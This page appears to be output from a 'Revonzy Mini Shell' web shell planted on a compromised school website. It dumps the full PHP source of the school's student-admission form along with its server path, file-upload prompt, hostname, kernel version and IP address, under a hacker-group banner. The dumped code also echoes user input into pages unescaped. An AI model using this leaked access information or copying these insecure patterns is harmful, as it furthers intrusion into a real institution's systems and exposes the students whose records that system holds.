Revonzy Mini Shell

Revonzy Mini Shell

Şuanki Dizin: /home/wwwdreamtechnolo/www/spmsolapur.org/mis_software/bkp/
Dosya Yükle :
Şuanki Dosya : /home/wwwdreamtechnolo/www/spmsolapur.org/mis_software/bkp/add-student.php

 <?php
require_once('header.php');

require_once('header-left-section.php');

$flag				=	0;
	$success_flag		=	0;
	$actual_image_name	=	"";
	$actual_image_name1	=	"";
	$actual_image_name2	=	"";
	
	$about						=	"";
	$about1						=	"";
	$about2						=	"";
	$about3						=	"";
	$about4						=	"";
	$about5						=	"";
	$about6						=	"";
	$class_error				=	"";
	$medium_error				=	"";
	$division_error				=	"";
	$stud_contact_no_error		=	"";
	$father_contact_no_error	=	"";
	$mother_contact_no_error	=	"";
	$aadhar_no_error			=	"";
	
		$class				= 	"";
		$medium				=	"";
		$division			=	"";
		$roll_no			=	"";
		$surname			=	"";
		$stud_name			=	""; 
		$father_name		=	"";
		$mother_name		=	"";
		$stud_contact     	=   "";
		$father_contact		=	"";
		$mother_contact		=	"";
		$residential_no	    =	"";
		$address	    	=	"";
		$cor_address		= 	"";
		$child_desc			=	"";
		$email				=	"";
		$aadhar_number		=	"";
		$religion			=	"";
		$caste				=	""; 
		$category			=	"";
		$mother_tongue		=	"";
		$nationality    	=   "";
		$birth_place		=	"";
		$birth_date			=	"";
		$gender	    		=	"";
		$last_school		=	"";
		$admission_date	    =	"";
		$blood_group		= 	"";
		$height				=	"";
		$weight				=	"";
		$about_us			=	"";
		$remarks			=	"";
		$no_of_pupil		=	""; 
		$stud_id_for_lc		=	"";
		$qualification		=	"";
		$occupation    		=   "";
		$monthly_income		=	"";
		$office_add			=	"";
		$residential_add	=	"";
		$mother_qualifi		=	"";
		$mother_occupation	=	"";
		$mother_income    	=   "";
		$mother_office_add	=	"";
		$mother_resident_add=	"";
		$advertising_board	=	"";
		$news_paper			=	"";
		$teachers			=	"";
		$friends			=	"";
		$ex_students		=	"";
		$pre_class			=	"";
		$other				=	"";
		$birth_district		=	"";
		$birth_state		=	"";
		$birth_country		=	"";
		$progress			=	"";
		$behaviour			=	"";
		$leaving_date		=	"";
		$leaving_stanard_from=	"";
		$leaving_reason		=	"";
		$remarks			=	"";
		$sub_caste			=	"";
		$g_r_no				=	"";
		$taluka				=	"";
		$book_no			=	"";
		$certificate_no		=	"";
//
			$progress="";
			$student_conduct="";
			$leaving_date="";
			$leaving_standard="";
			$leaving_reason="";
	if(isset($_POST['add_btn']))
	{
		
		$class				= 	$_POST['class'];
		$medium				=	$_POST['medium'];
		$division			=	$_POST['division'];
		$roll_no			=	$_POST['roll_no'];
		$surname			=	$_POST['surname'];
		$stud_name			=	$_POST['stud_name']; 
		$father_name		=	$_POST['father_name'];
		$mother_name		=	$_POST['mother_name'];
		$stud_contact     	=   $_POST['stud_contact'];
		$father_contact		=	$_POST['father_contact'];
		$mother_contact		=	$_POST['mother_contact'];
		$residential_no	    =	$_POST['residential_no'];
		$address	    	=	$_POST['address'];
		$cor_address		= 	$_POST['cor_address'];
		$child_desc			=	$_POST['child_desc'];
		$email				=	$_POST['email'];
		$aadhar_number		=	$_POST['aadhar_number'];
		$religion			=	$_POST['religion'];
		$caste				=	$_POST['caste']; 
		$category			=	$_POST['category'];
		$mother_tongue		=	$_POST['mother_tongue'];
		$nationality    	=   $_POST['nationality'];
		$birth_place		=	$_POST['birth_place'];
		$birth_date			=	$_POST['birth_date'];
		$gender	    		=	$_POST['gender'];
		$last_school		=	$_POST['last_school'];
		$admission_date	    =	$_POST['admission_date'];
		$blood_group		= 	"";
		$height				=	"";
		$weight				=	"";
		$remarks			=	$_POST['remarks'];
		$no_of_pupil		=	$_POST['no_of_pupil']; 
		$stud_id_for_lc		=	$_POST['stud_id_for_lc'];
		$g_r_no				=	"";
		$qualification		=	"";
		$occupation    		=   "";
		$monthly_income		=	"";
		$office_add			=	"";
		$residential_add	=	"";
		$mother_qualifi		=	"";
		$mother_occupation	=	"";
		$mother_income    	=   "";
		$mother_office_add	=	"";
		$mother_resident_add=	"";
		$birth_district		=	$_POST['birth_district'];
		$birth_state		=	$_POST['birth_state'];
		$birth_country		=	$_POST['birth_country'];
		//news
		$certificate_no		=	$_POST['certificate_no']; 
		$sub_caste			=	$_POST['sub_caste']; 		
		$progress			=	$_POST['progress']; 	
		$student_conduct	=	$_POST['student_conduct']; 	
		$leaving_date		=	$_POST['leaving_date']; 	
		$leaving_standard	=	$_POST['leaving_standard']; 	
		$leaving_reason		=	$_POST['leaving_reason']; 	
		//blank
		$news_paper			=	"";
		$teachers			=	"";
		$friends			=	"";
		$ex_students		=	"";
		$pre_class			=	"";
		$other				=	"";
		if($class=="Select Class")
		{
			$class_error	=	1;
			$flag	=	1;
		}
		if($medium=="Select Medium")
		{
			$medium_error	=	1;
			$flag	=	1;			
		}
		if($division=="Select Division")
		{
			$division_error	=	1;
			$flag	=	1;
		}
		if(strlen($stud_contact)<10 or strlen($stud_contact)>10)
		{
			$flag=1;
			$stud_contact_no_error	= "1";
		}
		if(strlen($father_contact)<10 or strlen($father_contact)>10)
		{
			$flag=1;
			$father_contact_no_error	= "1";
		}
		if(strlen($mother_contact)<10 or strlen($mother_contact)>10)
		{
			$flag=1;
			$mother_contact_no_error	= "1";
		}
		if(strlen($aadhar_number)<12 or strlen($aadhar_number)>12)
		{
			$flag=1;
			$aadhar_no_error	= "1";
		}
		
		$path = "student_data/";

		$valid_formats = array("jpg", "png", "gif", "bmp", "JPG", "PNG", "GIF", "BMP");
		
		function generateRandomString($length = 10) {
			$characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
			$charactersLength = strlen($characters);
			$randomString = '';
			for ($i = 0; $i < $length; $i++) {
				$randomString .= $characters[rand(0, $charactersLength - 1)];
			}
			
			return $randomString;
		}
		
		if(isset($_POST) and $_SERVER['REQUEST_METHOD'] == "POST")
		{
			$name 				= 	$_FILES['stud_image']['name'];
			$size 				= 	$_FILES['stud_image']['size'];
		
			if(strlen($name))
			{
				list($txt, $ext) = explode(".", $name);
				if(in_array($ext,$valid_formats))
				{
					if($_FILES['stud_image']['size'] < 10485760)	//10MB File size
					{
						$files	=	array();
	
						$current_random_no =  generateRandomString();
						
						$actual_image_name = $current_random_no.".".strtolower($ext);
						
						$tmp = $_FILES['stud_image']['tmp_name'];
						
						if(move_uploaded_file($tmp, $path.$actual_image_name))
						{
							
							$success_msg = 1;
						}
						else
						{
							$error_message = "failed";
						}
					}
					else
					{
						$error_message = "File size exceeded";
					}
				}
				else
				{
					$error_message = "Invalid file format.";	
				}
			}
		}
		
		if(isset($_POST) and $_SERVER['REQUEST_METHOD'] == "POST")
		{
			$name 				= 	$_FILES['birth_certificate']['name'];
			$size 				= 	$_FILES['birth_certificate']['size'];
		
			if(strlen($name))
			{
				list($txt, $ext) = explode(".", $name);
				if(in_array($ext,$valid_formats))
				{
					if($_FILES['birth_certificate']['size'] < 10485760)	//10MB File size
					{
						$files	=	array();
								
						$current_random_no =  generateRandomString();
						
						$actual_image_name1 = $current_random_no.".".strtolower($ext);
						
						$tmp = $_FILES['birth_certificate']['tmp_name'];
						
						if(move_uploaded_file($tmp, $path.$actual_image_name1))
						{
							//$db->insert_gallery_images($actual_image_name);
							
							$success_msg = 1;
						}
						else
						{
							$error_message = "failed";
						}
					}
					else
					{
						$error_message = "File size exceeded";
					}
				}
				else
				{
					$error_message = "Invalid file format.";	
				}
			}
		}
		if(isset($_POST) and $_SERVER['REQUEST_METHOD'] == "POST")
		{
			$name 				= 	$_FILES['caste_certificate']['name'];
			$size 				= 	$_FILES['caste_certificate']['size'];
		
			if(strlen($name))
			{
				list($txt, $ext) = explode(".", $name);
				if(in_array($ext,$valid_formats))
				{
					if($_FILES['caste_certificate']['size'] < 10485760)	//10MB File size
					{
						$files	=	array();
								
						$current_random_no =  generateRandomString();
						
						$actual_image_name2 = $current_random_no.".".strtolower($ext);
						
						$tmp = $_FILES['caste_certificate']['tmp_name'];
						
						if(move_uploaded_file($tmp, $path.$actual_image_name2))
						{
							
							$success_msg = 1;
						}
						else
						{
							$error_message = "failed";
						}
					}
					else
					{
						$error_message = "File size exceeded";
					}
				}
				else
				{
					$error_message = "Invalid file format.";	
				}
			}
		}
		if($flag==0)
		{	
			$db_id = $db->get_student_id($class,$medium,$division,$surname,$stud_name,$father_name,$father_contact,$no_of_pupil,$acd_year);
		
			if($db_id == "")
			{
				
				if($db->save_student_record($class,$medium,$division,$roll_no,$surname,$stud_name,$father_name,$mother_name,$stud_contact,$father_contact,$mother_contact,$residential_no,$address,$cor_address,$child_desc,$email,$aadhar_number,$religion,$caste,$category,$mother_tongue,$nationality,$birth_place,$birth_date,$gender,$last_school,$admission_date,$blood_group,$height,$weight,$actual_image_name,$actual_image_name1,$actual_image_name2,$advertising_board,$news_paper,$teachers,$friends,$ex_students,$pre_class,$other,$remarks,$no_of_pupil,$stud_id_for_lc,$g_r_no,$qualification,$occupation,$monthly_income,$office_add,$residential_add,$mother_qualifi,$mother_occupation,$mother_income,$mother_office_add,$mother_resident_add,$birth_district,$birth_state,$birth_country,$acd_year,$sub_caste,$progress,$student_conduct,$leaving_date,$leaving_standard,$leaving_reason,$certificate_no))
				{
					
					$success_flag	=	1;
					
					$class				= 	"";
					$medium				=	"";
					$division			=	"";
					$roll_no			=	"";
					$surname			=	"";
					$stud_name			=	""; 
					$father_name		=	"";
					$mother_name		=	"";
					$stud_contact     	=   "";
					$father_contact		=	"";
					$mother_contact		=	"";
					$residential_no	    =	"";
					$address	    	=	"";
					$cor_address		= 	"";
					$child_desc			=	"";
					$email				=	"";
					$aadhar_number		=	"";
					$religion			=	"";
					$caste				=	""; 
					$category			=	"";
					$mother_tongue		=	"";
					$nationality    	=   "";
					$birth_place		=	"";
					$birth_date			=	"";
					$gender	    		=	"";
					$last_school		=	"";
					$admission_date	    =	"";
					$blood_group		= 	"";
					$height				=	"";
					$weight				=	"";
					$about_us			=	"";
					$remarks			=	"";
					$no_of_pupil		=	""; 
					$stud_id_for_lc		=	"";
					$g_r_no				=	"";
					$qualification		=	"";
					$occupation    		=   "";
					$monthly_income		=	"";
					$office_add			=	"";
					$residential_add	=	"";
					$mother_qualifi		=	"";
					$mother_occupation	=	"";
					$mother_income    	=   "";
					$mother_office_add	=	"";
					$mother_resident_add=	"";
					$birth_district		=	"";
					$birth_state		=	"";
					$birth_country		=	"";
					
				}
			}
			else
			{
				$success_flag	=	2;
			}
		}
	}
?> 
<style>
.form-control
{
	background-color:#FFF !important;
}
h1
{
	text-align:center;
	color:#101566;
	font-weight:bold;
	
}
.content
{
	margin:10px;
}
</style> 
 <!-- Content Wrapper. Contains page content -->
  <div class="content-wrapper" style="background-color:#D3D5F5;">
    <!-- Content Header (Page header) -->
    <section class="content-header">
      <div class="container-fluid">
        <div class="row mb-2">
          <div class="col-sm-12">
            <h1>ADD STUDENT</h1>
          </div>
          
        </div>
      </div><!-- /.container-fluid -->
    </section>
	
    <!-- Main content -->
	 <form method="POST" action="<?php echo $_SERVER['PHP_SELF'] ?>" enctype="multipart/form-data" autocomplete="off">

    <section class="content">
      <div class="row">
        <div class="col-md-12">
          <div class="card card-primary">
            
          <div class="card-body">
		  <?php
		if($success_flag==1)
		{
	?>
		
		<div class="alert alert-success">
		<span class="alert-link">Success! </span>Record added successfully.
		</div>	
	<?php
		}
	?>
			
	<?php
		if($success_flag==2)
		{
	?>
		
		<div class="alert alert-danger">
		<span class="alert-link">Failed! </span>This Record Already Exist.
		</div>	
	<?php
		}
	?>
	<?php
		if($stud_contact_no_error==1 OR $father_contact_no_error==1 OR $mother_contact_no_error==1)
		{
	?>
		
		<div class="alert alert-danger">
		<span class="alert-link">Failed! </span>Please Enter Valid 10 Digit Contact Number.
		</div>	
	<?php
		}
	?>
	
	<?php
		if($aadhar_no_error==1)
		{
	?>
		
		<div class="alert alert-danger">
		<span class="alert-link">Failed! </span>Please Enter Valid 12 Digit Aadhar Number.
		</div>	
	<?php
		}
	?>
	
	<?php
		if($class_error==1)
		{
	?>
		
		<div class="alert alert-danger">
		<span class="alert-link">Failed! </span>Please Select Department.
		</div>	
	<?php
		}
	?>
	<?php
		if($medium_error==1)
		{
	?>
		
		<div class="alert alert-danger">
		<span class="alert-link">Failed! </span>Please Select Year.
		</div>	
	<?php
		}
	?>
	<?php
		if($division_error==1)
		{
	?>
		
		<div class="alert alert-danger">
		<span class="alert-link">Failed! </span>Please Select Division.
		</div>	
	<?php
		}
	?>
            <div class="row" style="background-color:#E4E4EC;">
              <div class="col-md-3">
                <div class="form-group">
				<label><span style="color:red;">*</span> Select Department:</label>
				<select name="class" class="form-control select2" style="background-color:white !important;">
					<?php
						if($class!="")
						{
							$class_data = $db->get_class_title_master_details($class);
							$res_class 	= $class_data[1];
							
					?>
					<option value="<?php echo $class; ?>"><?php echo $res_class; ?></option>
					<?php
						}
					?>
					<option value="Select Class"> Select Department</option>
					<?php
						$data	=	array();
			
						$data	=	$db->get_all_class_title_master_data();
						
						if(!empty($data))
						{
							$counter	=	0;
							
							foreach($data as $record)
							{
								$res_id				=	$data[$counter][0];
								$res_class_title 	=	$data[$counter][1];
								$res_date			=	$data[$counter][2];
								
						?>
						<option value="<?php echo $res_id; ?>"><?php echo $res_class_title; ?></option>
						<?php
								$counter++;
							}
						}
					?>											
				</select>
                </div>
				 </div>
				 <div class="form-group col-lg-3">
				<label><span style="color:red;">*</span> Division: </label>
				<select name="division" class="form-control">
					<?php
						if($division!="")
						{
							
					?>
					<option value="<?php echo $division; ?>"><?php echo $division; ?></option>
					<?php
						}
					?>
					<option value="Select Division">Select Division</option>
					<?php
			
						$division_data	=	array();
						
						$division_data	=	$db->get_all_division_master_data();
						
						if(!empty($division_data))
						{
							$counter	=	0;
							
							foreach($division_data as $record)
							{
								$res_id			=	$division_data[$counter][0];
								$res_division	=	$division_data[$counter][1];
								$res_date		=	$division_data[$counter][2];
								
						?>
						<option value="<?php echo $res_division; ?>"><?php echo $res_division; ?></option>
					<?php
							$counter++;
							}
						}
					?>	
				</select>
			</div>
			<div class="form-group col-lg-3" >
				<label><span style="color:red;">*</span> Select Year:</label>
				<select class="form-control" name="medium">
					<?php
						if($medium!="")
						{
					?>
					<option value="<?php echo $medium; ?>"><?php echo $medium; ?></option>
					<?php
						}
					?>
					<option value="Select Medium">Select Year</option>
					<option value="1st Year">1st Year</option>
					<option value="2nd Year">2nd Year</option>
					<option value="3rd Yeaar">3rd Yeaar</option>
				</select>
			</div>
			<div class="form-group col-lg-3">
				<label>Roll no:</label>
				<input type="text" class="form-control" name="roll_no" placeholder="Enter Roll No." value="<?php echo $roll_no; ?>" />
			</div>
			<div class="form-group col-lg-3">
				<label><span style="color:red;">*</span> Surname:</label>
				<input type="text" class="form-control" name="surname" placeholder="Enter Student Surname." value="<?php echo $surname; ?>" required />
			</div>
			<div class="form-group col-lg-3">
				<label><span style="color:red;">*</span> Student's Name:</label>
				<input type="text" class="form-control" name="stud_name" placeholder="Enter Student's Name." value="<?php echo $stud_name; ?>" required />
			</div>
			<div class="form-group col-lg-3">
				<label><span style="color:red;">*</span> Father's Name:</label>
				<input type="text" class="form-control" name="father_name" placeholder="Enter Father's Name." value="<?php echo $father_name; ?>" required />
			</div>
			<div class="form-group col-lg-3">
				<label><span style="color:red;">*</span> Mother's Name:</label>
				<input type="text" class="form-control" name="mother_name" placeholder="Enter Mother's Name." value="<?php echo $mother_name; ?>" required />
			</div>
			<div class="form-group col-lg-3">
				<label> Student Contact No:</label>
				<input type="number" class="form-control" name="stud_contact" placeholder="Enter Student Contact No." value="<?php echo $stud_contact; ?>" required  />
			</div>
			<div class="form-group col-lg-3">
				<label><span style="color:red;">*</span> Father's Contact No:</label>
				<input type="number" class="form-control" name="father_contact" placeholder="Enter Father's Contact No." value="<?php echo $father_contact; ?>" required />
			</div>
			<div class="form-group col-lg-3">
				<label><span style="color:red;">*</span> Mother's Contact No:</label>
				<input type="number" class="form-control" name="mother_contact" placeholder="Enter Mother's Contact No." value="<?php echo $mother_contact; ?>" required />
			</div>
			<div class="form-group col-lg-3">
				<label>Residential Phone No:</label>
				<input type="number" class="form-control" name="residential_no" placeholder="Enter Residential Phone No." value="<?php echo $residential_no; ?>" />
			</div>
			<div class="form-group col-lg-3">
				<label>Address:</label>
				<textarea class="form-control" name="address" placeholder="Enter Address." style="resize:none;" ><?php echo $address; ?></textarea>
			</div>
			<div class="form-group col-lg-3">
				<label>Correspondence  Address:</label>
				<textarea class="form-control" name="cor_address" placeholder="Enter Correspondence Address." style="resize:none;" ><?php echo $cor_address; ?></textarea>
			</div>
			<div class="form-group col-lg-3">
				<label>Student Description:</label>
				<textarea class="form-control" name="child_desc" placeholder="Enter Student Description." style="resize:none;" ><?php echo $child_desc; ?></textarea>
			</div>
			<div class="form-group col-lg-3">
				<label><span style="color:red;">*</span> Email Id:</label>
				<input type="text" class="form-control" name="email" placeholder="Enter Email id." value="<?php echo $email; ?>" required />
			</div>
			<div class="form-group col-lg-3">
				<label><span style="color:red;">*</span> Aadhar Number:</label>
				<input type="number" class="form-control" name="aadhar_number" placeholder="Enter Aadhar Number." value="<?php echo $aadhar_number; ?>" required  />
			</div>
			<div class="form-group col-lg-3">
				<label>Religion:</label>
				<input type="text" class="form-control" name="religion" placeholder="Enter Religion." value="<?php echo $religion; ?>" />
			</div>
			<div class="form-group col-lg-3">
				<label>Caste:</label>
				<input type="text" class="form-control" name="caste" placeholder="Enter Caste." value="<?php echo $caste; ?>" />
			</div>
			<div class="form-group col-lg-3">
				<label>Sub Caste:</label>
				<input type="text" class="form-control" name="sub_caste" placeholder="Enter Sub Caste." value="<?php echo $sub_caste; ?>" />
			</div>
			<div class="form-group col-lg-3">
				<label>Category:</label>
				<input type="text" class="form-control" name="category" placeholder="Enter Category." value="<?php echo $category; ?>" />
			</div>
			<div class="form-group col-lg-3">
				<label>Mother Tongue:</label>
				<input type="text" class="form-control" name="mother_tongue" placeholder="Enter Mother Tongue." value="<?php echo $mother_tongue; ?>" />
			</div>
			<div class="form-group col-lg-3">
				<label>Nationality:</label>
				<input type="text" class="form-control" name="nationality" placeholder="Enter Nationality." value="<?php echo $nationality; ?>" />
			</div>
			<div class="form-group col-lg-3">
				<label>Birth Place:</label>
				<input type="text" class="form-control" name="birth_place" placeholder="Enter Birth Place." value="<?php echo $birth_place; ?>" />
			</div>
			<div class="form-group col-lg-3">
				<label>District Place:</label>
				<input type="text" class="form-control" name="birth_district" placeholder="Enter Birth District." value="<?php echo $birth_district; ?>" />
			</div>
			<div class="form-group col-lg-3">
				<label>State Place:</label>
				<input type="text" class="form-control" name="birth_state" placeholder="Enter Birth State." value="<?php echo $birth_state; ?>" />
			</div>
			<div class="form-group col-lg-3">
				<label>Country Place:</label>
				<input type="text" class="form-control" name="birth_country" placeholder="Enter Birth Country." value="<?php echo $birth_country; ?>" />
			</div>
			<div class="form-group col-lg-3">
				<label>Date Of Birth:</label>
				<input type="text" class="form-control" name="birth_date" id="birth_date" placeholder="Enter Date Of Birth." value="<?php echo $birth_date; ?>" required />
			</div>
			
			<div class="form-group col-lg-3">
				<label>Last School Attended:</label>
				<input type="text" class="form-control" name="last_school" placeholder="Enter Last School Attended." value="<?php echo $last_school; ?>" />
			</div>
			<div class="form-group col-lg-3">
				<label>Date Of Admission:</label>
				<input type="text" class="form-control" name="admission_date" id="admission_date" placeholder="Enter Date Of Admission." value="<?php echo $admission_date; ?>" />
			</div>
		<div class="form-group col-lg-3">
				<br /> <br />
				<label>Gender</label>
				<label class="radio-inline">
					<input type="radio" name="gender" value="Male" checked>Male
				</label>
				<label class="radio-inline">
					<input type="radio" name="gender" value="Female">Female
				</label>
			</div>
			
			
			<div class="form-group col-lg-3">
				<label>Gen. Reg. No of Pupil:</label>
				<input type="text" class="form-control" name="no_of_pupil" placeholder="Enter Gen. Reg. No of Pupil." value="<?php echo $no_of_pupil; ?>" />
			</div>
			<div class="form-group col-lg-3">
				<label>Student Id For LC :</label>
				<input type="text" class="form-control" name="stud_id_for_lc" placeholder="Enter Student Id for LC." value="<?php echo $stud_id_for_lc; ?>" />
			</div>
			<div class="form-group col-lg-3">
					<label>Certificate No:</label>
					<input class="form-control" name="certificate_no" placeholder="Enter Certificate No." value="<?php echo $certificate_no; ?>" />
				</div>
			<div class="form-group col-lg-3">
				<label>Student Progress:</label>
				<input type="text" class="form-control" name="progress" placeholder="Enter Student Progress." value="<?php echo $progress; ?>" />
			</div>
			<div class="form-group col-lg-3">
				<label>Student Conduct:</label>
				<input type="text" class="form-control" name="student_conduct" placeholder="Enter Student Conduct." value="<?php echo $student_conduct; ?>" />
			</div>
			<div class="form-group col-lg-3">
				<label>Remarks:</label>
				<input type="text" class="form-control" name="remarks" placeholder="Enter Remarks." value="<?php echo $remarks; ?>" />
			</div>
			<div class="form-group col-lg-3">
				<label>Date of Leaving School:</label>
				<input type="text" class="form-control" name="leaving_date" id="leaving_date" placeholder="Enter Leaving School Date." value="<?php echo $leaving_date; ?>" />
			</div>
			<div class="form-group col-lg-3">
				<label>Std in Which Studying&Since When:</label>
				<input type="text" class="form-control" name="leaving_standard" placeholder="Standard in Which Studying And Since When." value="<?php echo $leaving_standard; ?>" />
			</div>
			<div class="form-group col-lg-3">
				<label>Reason of Leaving School:</label>
				<input type="text" class="form-control" name="leaving_reason" placeholder="Enter Leaving School Reason." value="<?php echo $leaving_reason; ?>" />
			</div>	 
             <div class="form-group col-lg-3">
				<label>Add Your Image:</label>
				<input type="file" name="stud_image">
			</div>
			<div class="form-group col-lg-3">
				<label>Birth Certificate:</label>
				<input type="file" name="birth_certificate">
			</div>
			<div class="form-group col-lg-4">
				<label>Caste Certificate:</label>
				<input type="file" name="caste_certificate">
			</div>
               
                <!-- /.form-group -->
              </div>
              <!-- /.col -->
            </div>
            <!-- /.row -->

      <div class="row">
        <div class="col-12">
		 <center> <input type="reset" value="Reset" class="btn btn-secondary float-left">
          <input type="submit" value="ADD STUDENT DETAILS" name="add_btn" class="btn btn-success">		 </center>
        </div>
      </div>
    </section>
	</form>
    <!-- /.content -->
  </div>
  <!-- /.content-wrapper -->
  <?php
require_once('footer.php');
?> 
<link rel="stylesheet" href="//code.jquery.com/ui/1.12.1/themes/base/jquery-ui.css">
  <script src="https://code.jquery.com/jquery-1.12.4.js"></script>
  <script src="https://code.jquery.com/ui/1.12.1/jquery-ui.js"></script>
 <script> 
 $(document).ready(function() {
 
    $( "#birth_date" ).datepicker({ dateFormat: 'dd-mm-yy' });
	$( "#admission_date" ).datepicker({ dateFormat: 'dd-mm-yy' });
	$( "#leaving_date" ).datepicker({ dateFormat: 'dd-mm-yy' });
  } );
 </script>

EliteHackz.ORG
Revonzy Mini Shell
root@revonzy.com

Linux 65-254-81-4.cprapid.com 5.14.0-284.11.1.el9_2.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 9 05:49:00 EDT 2023 x86_64
Apache
65.254.81.4